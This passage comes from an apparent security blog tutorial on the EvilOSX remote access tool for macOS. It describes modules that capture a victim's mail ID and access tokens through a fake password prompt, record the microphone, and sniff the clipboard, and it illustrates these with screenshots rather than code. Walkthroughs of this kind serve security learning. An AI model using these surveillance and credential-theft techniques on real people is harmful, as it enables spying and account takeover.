After the victim enters a password, we will successfully capture the mail ID liked to the device as well as the access tokens as shown in the image given below.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tIfkIhVeKaI/XTSJNFVic8I/AAAAAAAAfXI/nlQTuZPn9DkJKFybMSUJ7yWeoEyIPHViQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Microphone
We can also capture the audio from the victim device using the microphone module. After running the command use microphone, we are asked to enter the time in seconds to record the audio from the microphone of the victim device and also the name of the service that would show up in the verification prompt.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-GSkq_fjzLC4/XTSJNYBnnWI/AAAAAAAAfXI/fN2LGCRWfmg7X8tH0t6VpSQPrZLHmwMOQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Here we entered 5 seconds, and we left the name of service to be blanked which made the RAT to take it as random string as shown in the given image. A permission prompt pops up on the victim system asking for permission to access the microphone.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-AqLE_Do2zBg/XTSJMzYoETI/AAAAAAAAfXM/-VoL5RCYRKI8dwr5vmy4_MvsIZpPKvdeQCEwYBhgL/s1600/13.png?w=687&ssl=1)
After allowing we have the recorded audio in the mp3 format saved on out attacker machine in the tmp directory.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-tOCeTKTjAwA/XTSJNqkuO7I/AAAAAAAAfXM/IIYB3R11RVcBmkcIxzdmtK7sQ5eDFFTYACEwYBhgL/s1600/15.png?w=687&ssl=1)
Clipboard
We can also sniff the clipboard data from the victim machine. To do this we will have to use the clipboard. This will start the sniffer on the victim machine for the specified time in seconds. After starting the sniffer, any text that the victim will copy can be viewed as shown in the image given below.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iClkbq42jcY/XTSJOOMgPfI/AAAAAAAAfXU/JXI4HoROFwAXHVpYYunXVn9aiIfrJEvegCEwYBhgL/s1600/16.png?w=687&ssl=1)
Conclusion
EvilOSX has a lot of uses, and the attention to detail in automating certain exploits makes it a great dedicated tool for OSX. The ease with which it works and attacks is remarkable, we can launch a phishing attack to escalate privileges or trick a user into letting us deeper into the system. It’s a great tool and amazing to use as it traverses itself to connect apple devices.













